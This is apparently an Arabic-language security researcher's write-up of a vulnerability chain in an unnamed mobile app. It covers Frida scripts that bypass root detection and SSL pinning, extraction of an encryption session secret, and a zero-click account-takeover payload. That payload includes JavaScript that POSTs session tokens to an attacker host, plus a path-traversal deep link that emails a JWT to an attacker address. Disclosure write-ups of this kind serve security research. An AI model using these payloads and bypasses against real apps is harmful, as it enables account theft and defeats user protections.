@Omarzzu: كيف قدرت اخترق تطبيق جوال +35 ...
كيف قدرت اخترق تطبيق جوال +35 مليون مستخدم من خلال رسالة وحدة؟
مساكم الله بالخير جميعا
اليوم بتكلم عن احد تطبيقات الجوال وسلسلة ثغرات قدرت استغلهم مع بعض لتحقيق اثر عالي وقدرة على اختراق اكثر من 35 مليون حساب والأخطر بدون اي تفاعل من المستخدم
خلال المقالة بتطرق لعدة اشياء بداية من تخطي حماية الابلكيشن على مستوى الـ App Protection ومن ثم الثغرات على مستوى الـ Network
اذا تبغى تسكب شرح تخطي الحماية وتدخل بالثغرات بشكل مباشر يمديك تبدا من قسم Deep Link Execution
فنسمي بالله ونبدا
فالبداية خل نعرف كيف بنية الابلكيشن كان عبارة عن
split APK architecture
```java
base.apk ← core application
split_component_lingdong.apk ← stupid crypto stuff
split_config.arm64_v8a.apk ← native libraries
split_resource.apk ← resources
```الجزء اللي كان يهمني أكثر هنا هو
الـ Native Libraries
لأن التطبيق كان يستخدم عدة طبقات حماية مثل
SSL Pinning & Root Detection
#2 تخطي حماية التطبيق (SSL Pinning & Root detection)
بعد مافهمنا بنية التطبيق الحين جاء وقته نبدا بالفحص التطبيق بال runtime
كان فيه (ssl pinning & root detection)
وبطبيعة الحال قبل لاتدخل بقروشة ال static anlyisys
جربت حلول بسيطة مثل Java based hoking scripts
و Shamiko and lsposed stuff
وشيء متوقع انه ولا وحدة منهم ضبطت
والواضح انه protection stack was custom engineered
بعد محاولات مع الحلول الاعتيادية والي ولا وحدة منهم ضبطت وهنا كان لازم نتدخل
بديت بتحليل الابلكيشن ولقيت احد
ال native library
باسم "libintegrity(dot)so"
والواضح ان ال Detection stack كان من خلاله وفعلا بعد تحليل
ال libintegrity native library
اتضح لي انه تمر على أربع مراحل وكلها تكون بال Run time
وعشان تكون الصورة واضحة خل نقسمة الى اربع مراحل, وكانت المراحل بالطريقة هذي
```
Phase 1 Static Environment Scan (Java thread) → Trust level: JVM
Phase 2 Native Runtime Scan (native thread) → Trust level: kernel
Phase 3 Anti-Instrumentation (watchdog thread) → Trust level: kernel + self
Phase 4 Hardware Binding Attestation (API call) → Trust level: server + TEE
```
نبدا بالحماية الأولى وكانت عبارة
عن Static Environment Scan والي كانت بسيطة
```
Filesystem: /su /system/xbin/su /sbin/su /system/app/SuperSU.apk
Packages: com.topjohnwu.magisk eu.chainfire.supersu
Build props: ro.build.tags=test-keys ro.debuggable=1 ro.secure=0
Mount table: /proc/mounts → rw entries on /system or /vendor
```ومثل مانلاحظ ال detection هنا جدا تافهة بسبب انه static checks
وهذي امره بسيط ممكن نقدر نتخطاه بأكثر من طريقة
لكن Shamiko via Zygisk لحاله تهندلنا اياه
صحيح ان المرحلة الاولى بسيطة لكن تخطيه لحالة غير كافي بسبب انه لأن المرحلة الثانية تشتغل على native thread مستقل بيستخدم direct syscalls للكيرنل مباشرة
يعني حتى لو Shamiko مشت كل الـ Java layer والـ libc
المرحلة الثانية ما تمر من الـ libc ابد مثل ماراح نعرف الحين
#2 تخطي المرحلة الثانية
المرحلة الثانية كانت مختلفة نوعا ما لانه تشتغل من native thread بنفس ال libintegrity
عكس المرحلة الاولى الي كانت تشتغل على standard Java APIs
بالتالي libc Hooks USELESS here
لا هنا كل تشيك يكون على direct syscall وعشان يكون كلامي اوضح لازم تعرف شلون تشتغل الـ Frida hooks
مثلا اذا سويت hook
على openat() بال libc
فأنت تعترض الـ المكتبة اللي تجلس بين التطبيق والكيرنل (C library)
بمعنى العملية تكون بالطريقة هذي app → libc → kernel
يعني المرحلة الثانية كانت تسكب
من ال middleman (libc)
وتطلب من الكيرنل مباشرة بدون ما تمر من libc
يعني لو تسوي hook بال libc لين بكرا ماراح تستفيد
# استعمال Anti-Frida Architecture
ممكن البعض يعرف إنه فيه تشيك بعض الأحيان
على /proc/self/maps
وكيف تنقفط Frida proccess منه
المرحلة الثانية فيها نفس ال check ولكن فيه check ثاني مختلف تماما
الابلكيشن يشيك
على /proc/self/task/*/comm
وتشيك على اسم كل thread
و Firda دائما عنده اسماء ثابته بال proccess مثل
```
gum-js-loop ← Frida Gum engine
pool-frida ← Frida thread pool
```وكذلك تشيك على كل الـ file descriptors
في /proc/self/fd/ عن وتبحث Frida Unix socket
```x86asm
; libintegrity.so openat() without libc
mov x8, #56 ; AKA SYS_openat
svc #0 ; AKA go straight to the k4rnel libc never called here
```طيب عمر لاهنت وش فكرة ال Frida Unix Socket؟
بكل اختصار اذا شغلت Frida على جهاز اكيد انه يحتاج Frida server
والـ agent اللي تحقن فية التطبيق عشان يتكلمون مع بعض
هذا التواصل يصير بشيء اسمه Unix domain socket
والي هي قناة اتصال داخل الجهاز
وهذا الـ socket له مسار في الـ filesystem
في /proc/self/fd/ كـ file descriptor
ولو نقرأ الـ symlink بتلاقي شيء
مثل socket:[frida:agent-xyz]
او مسار يحتوي كلمة frida أو linjector
والتطبيق ماقصر يشيك كل الـ FDs
ويقرأ كل symlink ولو شاف اسم Frida يفقع
## التخطي؟
طيب ما فية libc function نزين عليه hook و الحل ؟هو نسوي hook على ال instruction level
طيب الحين وصلنا لنقطة مهمة
المرحلة الثانية زي ما شفنا ما تعتمد على ال libc ابدا
كل شيء يتم عن طريق direct syscalls مباشرة للكيرنل
app → kernel
ومعناته؟ ان ما فيه middleman نقدر نصيده
فبالتالي أي hook على libc يعتبر useless هنا
طيب السؤال الطبيعي هنا
لو ما نقدر نصيده من ال libc وين نصيدة؟
نقدر نمسكه على نفس المستوى اللي يشتغل فيه والي هو على مستوى instruction نفسه
طيب ليش Interceptor ماينفع هنا؟
اول شيء خلنا نفهم أول كيف Frida بالعادة تسوي hook
اذا استخدمت Interceptor.attach()
فريدا ببساطة تكتب instructor jump لل ال Function المستهدفة
وهذا الشيء يسمى "trampoline hook"
فاللي يصير فعليا
- فريدا تكتب ال jump في بداية ال Function
- والتنفيذ يطمر للكود المحدد
- بعدين يرجع يكمل التنفيذ الطبيعي
لكن المشكلة هنا؟
ان ال bytes بالميموري تغيرت
ولأنه يتم مقارنة byte-for-byte بالميموري
معناتهModified bytes = diff = kill على طول بيفقع الابلكيشن
والشيء هذا تحديدا هو اللي المرحلة الثالثة مصممة تقفطة
WELL Phase 3? Self Integrity Check
المرحلة الثالثة عبارة عن watchdog thread
وظيفته بسيطة لكن قروشة
يقرأ مكتبة libintegrity.so من ال disk
يقرأ نفس المكتبة من الmemory
يقارنهم byte by byte
لو فيه اختلاف؟
Modified bytes → diff → kill وبيفقع الابلكيشن
وبما أن Interceptor يغير أول بايتات بال Function
فالتشييك هذا راح ينصاد على طول
يعني لو مشيت مع الطريقة التقليدية
راح تنقفط على طوول بال Phase 3
طيب طولته وش الحل عمر؟
الحل كان انه نستعمل Stalk4r
بدل ما نعدل الكود نفسه
الفكرة كانت انه مانبي ما نلمس الكود نهائيا
وهنا جاء دور Frida Stalker
الـ Stalker يشتغل بطريقة مختلفة تماماً عن ال Interceptor
بدل ما يعدل الكود الأصلي يتتبع ال thread وقت التنفيذ
يعني كل code block قبل ما يشتغل بيمر JIT يعيد تجميعه
واللي يصير فعليا
- البرنامج يحاول يشغل block من الكود
- ثم عاد Stalker يعترضه
- بعدين يعيد تجميعه في نسخة جديدة
-ومن النسخة الجديدة الي نبغاه هي اللي يتم تنفيذه
و النقطة المهمة هنا ؟
الكود الأصلي داخل .text ما يتغير ولا byte واحد
والنتيجة؟
اذا مرت ال Phase 3 وتسوي تشييك
النسخة اللي على ال disk و النسخة الي على ال memory بتلاقيهم متطابقين 100%
وبكذا عاد نقدر نقول
Phase 2 bypassed
Phase 3 passed clean (;
و check بسيط كان موجود كان يشيك على network probe بمعنى دايم frida تتشغل على 127.0.0.1:27042 بورت 27042
بعض التطبيقات ببساطة يحاولون يشبكون على هذا البورت
ولو شبك معناته غالبا فيه Frida وبيقولك حرك
والمكتبة كانت تسوي التشيك باستخدام syscalls بدون libc
والفكرة كانت كذا
Creating s0cket
وتحاول عاد تشبك على بورت 27042
```
int fd = syscall(SYS_socket, AF_INET, SOCK_STREAM, 0);
#AKA Direct SYS_connect call
int result = syscall(SYS_connect, fd, &addr_27042, sizeof(addr));
if (result == 0) trigger_termination(); // port is open = Frida == GOODBYE DEAR FRIEND
```تخطي ال check
الحل هنا كان أبسط بكثير من التشيك الأول
غيرت Frida server بالكامل
الي سويته
غير اسم السيرفر إلى sp4iclfrda وشغلته على بورت مختلف مثل 17392
وبكذا التطبيق اذا بيحاول يشبك على بورت
127.0.0.1:27042
بيرجع الخطأ الطبيعي ECONNREFUSED == No frida running
وبكذا تخطينا اغلب ال root detection ولكن باقي مرحلة اخير
وعباره عن Custom Hardware Binding Attestation ولكن هذي موضوعة طويل نوعا ما وممكن تكون بمقالة منفصلة اذا حبيتم
وبكذا نقدر نقول قفلنا على اول عائق لكن مانتهينا
طبقة SSL Pinning Java OkHttp (EASY)
بعد ما خلصنا من قروشة الـ root detection، جاء الدور على SSL pinning.
كالعادة أول شيء شيكت على الـ Java layer
ولأن أغلب تطبيقات الأندرويد تسوي الـ TLS validation من خلال OkHttp و TrustManager
والمتوقع، المسار في النهاية يمر من خلال
TrustManagerImpl.checkTrustedRecursive()
وبالتالي الحل التقليدي دائما يشتغل مباشرة
```java
Java.use("com.android.org.conscrypt.TrustManagerImpl")
.checkTrustedRecursive.implementation = function() {
return Java.use("java.util.ArrayList").$new();
};
```والفكرة هنا بسيطة نرجع قائمة ال certificates فاضية ونخلي التحقق يعتبر ناجح
وبكذا technically نكون عطلنا التحقق من الشهادة بالكامل على مستوى Java
لكن الغريب؟ الترافيك ما وده يجي
مازال الاتصال يرفض والتطبيق يتصرف كأن الـ pinning مازال موجود
وهذا كان أول مؤشر واضح أن فيه طبقة ثانية للـ TLS verification خارج الـ Java stack
وفعلا...
# طبقة SSL Pinning الثانية BoringSSL داخل ال Native Library
بعد ما تعمقت أكثر بالـ native libraries لاحظت شيء مثير للاهتمام
التطبيق ما يعتمد على TLS الخاص بالنظام
بدالة كان فيه نسخة كاملة من BoringSSL مدمجة داخل libnetwork(dot)so
يعني الاتصال بدال ما يمر من Android TLS stack
يمر من custom BoringSSL build
ومن اسمه Boring SSL
وهذا السبب اللي خلى كل الطرق المعتادة ماتضبط
لكن الشيء اللي خلاها قروشة فعلا كان ثلاث نقاط
Property 1 Symbol Stripping
أول شيء لاحظته أن المكتبة شبه مقطوعة exports only 11 symbols
لو سويت
```
Module.findExportByName("libnetwork.so", "SSL_CTX_set_verify")
```بيرجع null
لأن المكتبة ما تصدر إلا 11 symbol فقط
لكن الوظائف الداخلية مثل
SSL_CTX_set_verify
SSL_CTX_new
مازالت موجودة داخل الباينري فقط بدون أسماء والي يعني لازم نوصل لها بالـ pattern matching
Property 2 ARM64 PAC (Pointer Authentication)
الشيء الثاني اللي رفع الصعوبة شوي هو أن الجهاز كان ARM64 + ARMv8.3-A PAC
ببساطة كل function pointer داخل struct
مثل SSL_CTX يكون موقع cryptographically
يعني لو حاولت تغير pointer كذا callback = NULL
راح يصقعك ب PAC authentication failure
وبالتالي SIGSEGV التطبيق بيفقع دايركت
فالحل التقليدي اللي هو overwrite callback pointer
ما يشتغل على أجهزة ال PAC
Property 3 Delete .comment section
بالعادة إذا تبغى تعرف نسخة BoringSSL تقدر تسوي
readelf -p .comment
لكن في هذا الـ build كانوا شايلين .comment كله فما فيه version string
يعني ما نقدر نعرف نسخة BoringSSL بسهولة
تحديد نسخة BoringSSL بطريقة مختلفة
طيب عشان أعرف النسخة سويت مقارنة byte-pattern مع builds معروفة من BoringSSL
فيه routine مميزة داخل HKDF implementation
أخذت 32 بايت منها وقارنتها مع corpus محلي
```
target_bytes = extract_bytes(lib, offset=0x4A2C0, length=32)
for version, known_bytes in boringssl_corpus.items():
if known_bytes == target_bytes:
print(f"Matched: BoringSSL {version}")
```والنتيجة ؟
Matched: BoringSSL 2023-07-12
وبكذا صار عندي نفس الـ source version
وقدرت أرجع للـ struct layout الصحيح
تحديد SSL_CTX_set_verify داخل الباينري؟
بما أن symbols مب عندنا الطريقة كانت pattern matching
الـ prologue الخاص بالفنكشن معروف بال build هذا
FF4303D1F44F01A9FD7B02A9FD830091
بعد البحث داخل libnetwork(dot)so
Found at offset: 0x91F40
وبالتالي الحين صار عندنا pointer
```
var libBase = Module.findBaseAddress("libnetwork.so");
var setVerify = libBase.add(0x91F40);
```طيب وتخطي ال PAC ؟
بدل ما نغير الـ pointer داخل struct مباشرة (وهذا بيسبب crash ويفقع الابلكيشن بسبب ال PAC) بس الفكرة كانت أبسط
نسوي hook على SSL_CTX_set_verify قبل ما يسجل callback
ونبدل الـ arguments
```
Interceptor.attach(setVerify, {
onEnter: function(args) {
args[1] = ptr(0);
args[2] = noopCallback;
}
});
```والـ callback نفسه مجرد stub
```
var noopCallback = new NativeCallback(function() {
return 1;
}, "int", ["pointer", "int"]);
```فالفكرة هنا ذكية شوي لأن التوقيع باستخدام ال PAC يتم داخل BoringSSL نفسه وقت التخزين
فبما أننا غيرنا الـ pointer قبل التخزين المكتبة نفسها وقعت العنوان الجديد
والي يعني valid PAC pointer وبالتالي ماراح يفقع الابلكيشن
النتيجة؟
بعد العدييييد المحاولات
تم تخطي كل طبقات الحماية الموجودة
Phase 1 Static
Phase 2 Native Syscall Detection
Phase 3 Self Integrity Watchdog
Phase 4 Hardware Binding
SSL Layer 1 (Java TrustManager)
SSL Layer 2 (Native BoringSSL + PAC)
واخيرا صار يمدي نكبشر ال traffic
لكن المفاجأة؟
الترافيك ما كان شيء ينقري كان عبارة عن binary blob
طبقة ال traffic المشفرة
بعد ما خلصنا من قروشة الـ SSL pinning أخيراً صار عندنا القدرة نلقط الترافيك بين التطبيق والسيرفر
طبعاً كنت متوقع أول ما أشوف ال traffic أشياء طبيعية مثل
JSON
protobuf
form-data
لكن اللي طلع قدامي كان شيء مختلف تماما وهنا ختمو القروشة
الـ request والـ response bodies كلها كانت عبارة عن binary blobs
بايتات عشوائية ما تعطيك أي معنى
8F 12 A9 00 3C 71 D1 6A ...
بمعنى آخر حتى لو قدرت تكبشر الترافيك بتقول مابغى اشوفة
لكن بعد التدقيق في الـ headers لقيت شيء كان مفتاح الموضوع كله
التطبيق يستخدم Content-Type values غريبة مثل
ht/encbin
bin/cc2018
bin/cc2019
ht/binary
ht/ccbin
وهذي مو MIME types معروفة
معناه؟ وهذي مو مجرد أسماء
هذي تعتبر identifiers لأنظمة تشفير مختلفة داخل التطبيق.
بمعنى أن السيرفر أول ما يشوف Content-Type
يقرر أي crypto handler يستخدم
قفطة أنظمة التشفير داخل التطبيق
بعد تتبع المسارات داخل ال decompiled source اتضح لي ان التطبيق يشغل عدة أنظمة تشفير
والمفاجأة؟
ما كانت scheme وحدة…
كان فيه خمسة أنظمة تشفير مختلفة شغالة بنفس الوقت
side note:
- يعني يدرون انه اي شيء بال client-side بينطرح لكن اتوقع يحبون القروشة
والصورة توضح انواع التشفير المستعملة
القروشة هنا مو التشفير نفسه بس كانت بطريقة تطبيقه
ثلاثة أنظمة مكسورة من التصميم نفسه
بعد ما تتبعت طرق التشفير داخل التطبيق اتضح أن الموضوع مو مجرد scheme وحدة
التطبيق فعليا قاعد يستعمل خمس طرق تشفير حسب قيمة الـ Content-Type
لكن يوم بديت اشيك على الابلكيشن اكتشفت أن ثلاثة طرحتهم سهله
النظام الأول ht/binary و ht/ccbin
هذي endpoints تستخدم AES-128-ECB
واستخدام ECB اختيار سيء بالأساس
لكن المشكلة كانت انه المفتاح ثابت داخل التطبيق
بعد تتبع مسار التشفير اتضح أن الـ key يتم تمريره مباشرة إلى الـ cipher initializer من داخل التطبيق نفسه
بمعنى أن العملية فعلياً تكون كذا
cipher = AES(static_key, ECB)
ciphertext = cipher.encrypt(payload)
ما فيه اي key exchange او session key
وهذا يعني اطرف breakpoint بنقدر نصيده فيه
بمجرد استخراج المفتاح العملية بتكون
plaintext = AES_decrypt(ciphertext, key)
وهذا كل شيء بالنسبة لنوعين التشفير هذي
ولكن النظام الثاني bin/cc2018 و bin/cc2019
هنا التصميم كان أغرب شوي
يستخدمون تشفير XXTEA والـ algorithm نفسه مب المشكلة المشكلة كانت كيف يستخدمونه
وبعد تتبع طريقة بناء الـ request body اتضح أن الرسالة تكون بالشكل التالي
[key][ciphertext]
يعني التطبيق يرسل
المفتاح و البيانات المشفرة بنفس المفتاح في نفس الرسالة
ولو فكرت فيها شوي
هذا يلغي فكرة التشفير بالكامل
أي شخص يقرأ الترافيك يقدر ببساطة
يقرأ المفتاح من بداية الرسالة ويستخدمه لفك بقية البيانات
بمعنى أن عملية فك الرسالة
extract key
decrypt payload
بدون أي مجهود
التشفير هنا فعلياً تحول إلى طبقة obfuscation خفيفة أكثر من كونه حماية وبالاصح (وسيلة قروشة)
بعده ادركت ان ال devopler كان يبغى يقروش اي شخص بيفحص الابلكيشن
## طريقة التشفير الاخيرة ht/encbin
الـ scheme الوحيد اللي كانو شادين حيلهم شوي هي ht/encbin
ولان كانت اغلب العمليات الحساسة تستعمل ht/encbin المنطقي طبيعي بيشدون حيلهم شوي
وهنا التطبيق يستخدم AES-256 لكن الفرق المهم أن المفتاح ما يكون ثابت
والي يصير يتم انشائة لكل جلسة باستخدام X25519 ECDH
بمعنى أن العميل والسيرفر يسوون Elliptic Curve Diffie-Hellman exchange لإنتاج shared secret
ومن هذا الـ secret بيجيب منه AES
العملية كانت تقريباً كذا العميل بينشئ public key مؤقت
وبيرسله داخل الهيدر X-Target-Pub و السيرفر يستخدم public key الخاص فيه
ثم الطرفين بيحسبون ECDH(shared_secret)
ومن ثم عاد ويتم اخذ مفتاح AES للمستخدم
من ناحية التصميم، هذا أفضل وكان اصعب بكثير من الطرق السابقة
بالنسبة لطريقة استخراج ال key بال runtime
بعد ما تتبعت مسار التشفير داخل التطبيق وصلت إلى كلاس اسمه SecretDataModel
وتحديدا الميثود readSharedSecret()
الميثود هذي ترجع لنا الـ shared secret الناتج من عملية الـ ECDH الي عرفناه تو
فبدال ماحاول اكسر التشفير ونتقروش x20
سويت hook على نفس الميثود وصدت القيمة حقته وقت التنفيذ
```
var SECRET_CLASS =
"com.target.app.feature.common.shared.configure.entity.SecretDataModel";
Java.enumerateClassLoaders({
onMatch: function(loader) {
try {
loader.loadClass(SECRET_CLASS);
var saved = Java.classFactory.loader;
Java.classFactory.loader = loader;
var SDM = Java.use(SECRET_CLASS);
SDM.readSharedSecret.implementation = function() {
var secret = this.readSharedSecret();
console.log("[SESSION SECRET] " + secret);
return secret;
};
Java.classFactory.loader = saved;
} catch(_) {}
},
onComplete: function() {}
});
```
ولازم اذكر نقطة مهمة تقروشت فيها
الكلاس هذا ما كان موجود داخل base.apk
كان داخل feature split
split_component_lingdong.apk
وهذا يتم تحميله باستخدام PathClassLoader مختلف
وعشان كذا السبب احتجت استخدم Java.enumerateClassLoaders()
عشان ألقى الـ loader الصحيح
والنتيجة؟
صار ممكن فك كل الترافيك بين التطبيق والسيرفر
كل request.
كل response.
بس باقي خطوة بسيطة ولانه كان عبارة عن binary blob احتجت احولة ال hex value
وبكذا صار يمدي افك تشفير اي traffic إلى plaintext وهالحين نقدر ندخل بالثغرات (;
Finding Remote Deep Link Execution (Gadget)
بعد ما انتهينا من قروشة الـ SSL pinning، وفكينا طبقة التشفير بالكامل
أخيراً صار الترافيك واضح كل request وresponse صار readable
وهنا عاد بدا الشغل ونشوف اذا فيه exploitation تستاهل القروشة الي اخذناه؟
Time to Attack surface mapping?
ومن هنا تبدأ الأشياء الممتعة (;
Discovery A Field That Does Not Belong?
وأنا أراجع الـ API endpoints لاحظت endpoint
يستخدم لإرسال interactive cards داخل المحادثات
الفكرة بسيطة
مستخدم يرسل card
والطرف الثاني يشوفها داخل الشات
الـ request كان طبيعي
```
POST /v1/send HTTP/2
Host: api.target.com
Authorization: Bearer
Content-Type: application/json
{
"userid": "USERID",
"card": {
"goto_url": "app://shareCard/chat",
"othervalues"
}
}
``` لو نشوف الـ card object , فيه قمية وحدة شدة انتباهي
و القيمة كانت
```
app://shareCard/chat
```وهذي عبارة عن custom URI scheme
ومن هنا بدأت القصة
Why This Field Is Interesting ?
دام القيمة app:// هذا غالباً يدل على شيء واحد Deep link router يتم استعمالة داخل التطبيق.
وعشان تكون الصورة واضحة يعني الرابط هذا ما يفتح browser
بس ينفذ native logic داخل التطبيق نفسه
وهذا فرق كبير
The Client-Side Execution Path
بعد static analysis للـ message handler الصورة وضحت بسرعة
أول ما يوصل الكرت لجهاز الضحية يصير التالي
```java
CardPayload card = gson.fromJson(rawPayload, CardPayload.class);
if (card.getGotoUrl() != null && !card.getGotoUrl().isEmpty()) {
Uri deepLink = Uri.parse(card.getGotoUrl());
DeepLinkRouter.dispatch(context, deepLink);
}
renderCard(card);
```ثم يقرأ قيمة goto_gurl الخطوات لانه مهمه
التطبيق يستلم الكرت من السيرفر
ثم يقرأ قيمة goto_url
بعدين يحوله إلى URI
بعده يرسله مباشرة إلى DeepLinkRouter.dispatch()
بعدها يتم رسم الـ UI
لاحظت النقطة المهمة هنا؟
الـ deep link يتنفذ قبل ما يظهر الكرت وبالاصح قبل أي user interaction
وببساطة بيوصلة الكرت ويتنفذ الكود, قوية هالعيدية
DeepLinkRouter Is Not a Browser
نقطه مهمه ال DeepLinkRouter مو مجرد launcher يفتح صفحة
هو navigation engine داخل التطبيق
نفس المكون اللي يستخدمه التطبيق لما المستخدم يضغط أي link داخلي
مثلا
```
app://profile/view?id=1
```بيفتح صفحة البروفايل
```
app://settings/security
```يفتح الاعدادات
يعني الـ router يربط URI routes مع native application features
Quick Test
أول شيء سويته كان بسيط
غيرت قيمة goto_url
بدل
```
app://shareCard/chat
```غيرته الى
```
app://profile/view?id=1
```(تذكر هذي زين)
وأرسلت الكرت
النتيجة؟
أول ما وصل الكرت, التطبيق فتح profile page مباشرة
وبدون اي interaction
وهنا بدأت الصورة تتضح (;
Enumerating Deep Link Handlers
بعد ما تأكدت من طبيعة الفنكنش بديت اسوي enumeration للـ deep links داخل التطبيق
و النتيجة كانت +50 deep link routes عندنا
واحد الأمثلة
```
app://browser?url=
```يفتح WebView داخل التطبيق
بعضهم كان لهم اثر مباشر مثل اني قادر احذف حساب اي شخص لكن كيف ممكن نوصلها لاعلى خطورة؟
The Gadget
الهجوم الحين صار واضح شوي
المهاجم بيرسل request
```http
POST /v1/send
{
"userid": ,
"card": {
"goto_url": ""
}
}
``` والمستخدم؟
كل اللي بيشوفه
a card notification.
Why This Gadget Matters
بدون هذا الـ gadget
أي vulnerability داخل التطبيق بنطاق ال deeplink تحتاج user interaction
والي هو بيزيد ال attack complexity وبيقلل من خطورة الثغرة لكن مع ذي الـ gadget
المهاجم يقدر يشغل أي deep link داخل التطبيق بـ single API request فقط
The Interesting Part
واحد من الـ deep links كان
```
app://browser?url=...
```وهذا يفتح WebView داخل التطبيق.
ولو قدرت تتحكم في الصفحة اللي تنفتح داخل الـ WebView
فأنت غالبا بتتحكم في JavaScript execution داخل التطبيق نفسه
وهنا بدأت قصة ال Finding 2 وندخل بالثقيل
Finding 2 WebView JS Bridge Takeover
أحد الـ deep link handlers كانت
```
app://browser?url=
``` الـ implementation كان بسيط
```java
webView.addJavascriptInterface(new AppBridge(context), "AppBridge");
webView.loadUrl(targetUrl);
```أي صفحة تنفتح داخل WebView تحصل على object اسمه
AppBridge داخل ال JavaScript
What AppBridge Exposes?
بعد تحليل الكلاس لقيت ثلاث functions exposed للـ JavaScript
```java
getSessionToken()
@JavascriptInterface
public String getSessionToken() {
return SessionManager.getActiveToken();
}
```ترجع Bearer JWT اللي يسوي authenticate على كل API reques.
```java
getUserData()
@JavascriptInterface
public String getUserData() {
return gson.toJson(UserRepository.getCurrentUser());
}
```
تشغل أي Activity داخل التطبيق باستخدام reflection
يعني عمليا عندنا Intent injection primitive كامل
The Security Check
لكن الـ developer ماقصر حاول يضيف validation
```java
if (url == null || !url.startsWith("https://target.com")) {
finish();
return;
}
```والفكرة منة فقط يعرض الصفحات من ال نفس ال origin
لكن نشكر RFC 3986
RFC 3986 Authority Confusion
الـ validation يعتمد على string prefix comparison
لكن WebView يعتمد على URI parsing وهنا في فرق
مثال
```
https://targetcom@attackercom/PoC.html
```الـ validation handler بيشوف
```
startsWith("https://targetcom") which is == TRUE
```لكن الـ URI parser بيشوف
host = attackercom
بالتالي صار عندنا confusion بين الـ URI parser والـ validation handler
وهذا يصير بسبب RFC 3986
BIG Thanks for RFC 3986
Exploitation؟
طيب عمر عجل علينا لاهنت وين الاكسبلويت؟
ببساطة المهاجم يستضيف صفحة
//attackercom/exploit.html
محتوى الصفحة بيكون بالطريقة هذي
```vbscript-html
var token = AppBridge.getSessionToken();
var user = AppBridge.getUserData();
fetch("https://attackercom/collect", {
method:"POST",
body: JSON.stringify({token:token,user:user})
});
```بمجرد تحميل الصفحة
بنقدر ننتف ال JWT
The Full Chain
الهجوم كله يتم في API request واحد فقط
```http
POST /v1/send
{
"userid": ,
"card": {
"goto_url":
"app://browser?url=https://target.com@attacker.com/exploit.html"
}
}
``` فال chain كامل بيكون مثل الصورة:
والمستخدم كل اللي بيشوفه Card notification (;
بس عمر الامباكت هنا بس لل android users؟ بالاكسبلويت هذا صحيح
وليش ماتضبط على ال iOS ؟
على iOS ال addJavascriptInterface مو موجودة أصلا
البديل له باستعمال WKScriptMessageHandler
وهنا عاد الفرق الكبير
هذا عبارة عن fire-and-forget ما يرجع أي قيمة
ولمشكلة الأهم؟
الموضوع مو بس API مختلف المشكلة بال process isolation
على ال iOS الـ WebView ما يشتغل داخل نفس الـ app
يشتغل على process منفصلة اسمة "WebContent process" وتكون معزولة بـ sandbox
ولكن هل هذا مانع انه ماجيب اكسبلويت ثاني؟ وهنا عاد نوصل لاخر جزئية عندنا وامتع اكسبلويت بالمقالة (;
Client-Side Path Traversal via Deep Link Parameter Injection
What CSPT Actually Is؟
تصير Client‑Side Path Traversal (CSPT) تصير اذا ال user controlled input
مباشرة جوا المسار والي يبنيه الـ client-side ثم يرسله للسيرفر
النقطة المهمة هنا انه ال normalization يكون بنفس ال client-side
ونقدر نقول انه kinda of csrf لكن تكون within the same origin
بمعنى انه كل شيء بالكلاينت سايد والي معناته ان بيصير reqeust طبيعي دامه من نفس ال origin وال user session بتكون included
The Injection Point؟
الـ profile viewer deep link يبني ال endpoint نفس كذا
```java
void handleProfileView(Uri uri) {
if (!SessionManager.isAuthenticated()) {
redirectToLogin();
return;
}
String userId = uri.getQueryParameter("id");
String endpoint = "/api/v1/profile/" + userId;
apiClient.get(endpoint, profileCallback);
}
```القيمة id تدخل مباشرة داخل الـ path والي هي practice عادية
ولو حطيت slash ك url encoded
%2F
يمر عبر URL builder مثل ماهو
والسيرفر بعدين بيفكة وبيسوي normalize
بمعنى لو ارسلت deeplink بالصيغة هذي
Input
```
app://profile/view?id=1234%2F..%2F..%2Ftest
```الضحية بتنرسل منه
```
GET /api/v1/profile/1234/../../test
```والسيرفر بيسوي له normalization وبيصير كالتالي
```
GET /api/v1/test
```client-side Path traversal confirmed
بيجي واحد مدرعم ويقول عمر وش تبي توصلة؟ وش الفايدة اذا كل شيء قاعد يصير بنفس ال client-side
وهذا الي الحين راح نوصلة
Weaponizing using it as gadget for The Target Share / Export Endpoint
احد ال functions الموجودة تسوي export لل profile وترسل request الى
```
GET /api/v1/share/export?email=recipient@example.com
```وتكون بالطريقة هذي
يتحقق من ال session
بعده يتم انشاء JWT جديد
ويرسل رابط download إلى الإيميل المحدد
الرابط بيكون بالصغية هذي
```
/download/shared?token=
```
ومثل مانلاحظ ال url فيه jwt token لل authentication وكان عبارة عن valid jwt لنفس المستخدم معناته لو اخذ ال new generated jwt واستعمله بال API فبيعتبر valid jwt token
فيجي السؤال الاخير شلون نبي نجيب ال jwt من خلال استغلالنا لل CSPT ؟
CSPT × Normalization Gadget × Export To Zero Click Account Take Over?
الحين خل نربط الثلاث primitives مع بعض
- CSPT
- Query Injection
- Export Endpoint
وال deep link بنرسلة للضحية كذا
```
app://profile/view?id=1%2F..%2F..%2Fshare%2Fexport%3Femail%3Dattacker%40evil(dot)com
``````http
POST /API/v1//send HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer
User-Agent: MobileApp/1.0
Accept: application/json
Connection: close
Content-Length:
{
"invitee_user_id": "",
"card": {
"goto_url": "app://profile/view?id=1%2F..%2F..%2Fshare%2Fexport%3Femail%3Dattacker%40evil.com"
}
}
``` والضحية بيطلع ال request منه بالطريقة هذي
```
GET /api/v1/profile/1/../../share/export?email=attacker@evil(dot)com
```ولكن السيرفر بعد normalization بتصير بالصيغة هذي
```
GET /api/v1/share/export?email=attacker@evil(dot)com
```و السيرفر يظن أن الضحية سوا export
وبينرسل ايميل الى attacker@evil.com
ويكون فيه
```
api.targetcom/download/shared?token=
``` وهنا عاد راح اخذ نفس ال jwt واستعملة على ال API
```
GET /api/v1/user/me
Authorization: Bearer
``` والنتيجة ؟
HTTP 200 OK
Full account take over with 0 user interaction (;
حلوة صح ؟
والصورة توضح العملية
وبكذا باستغلالي الى deeplink + gotorul gadget + CSPT قدرت اجيب اي حساب بدون interaction من المستخدم!
بالختام اتمنى المقالة نالت على اعجابكم, في حال اعجبتك المقالة لاتنسانا بدعمكم ومن صالح دعواكم بالايام الفضيلة
واكيد ماستغني عن ارائكم بالمقالة
نسخة اوضح
x.com/omarzzu/status…






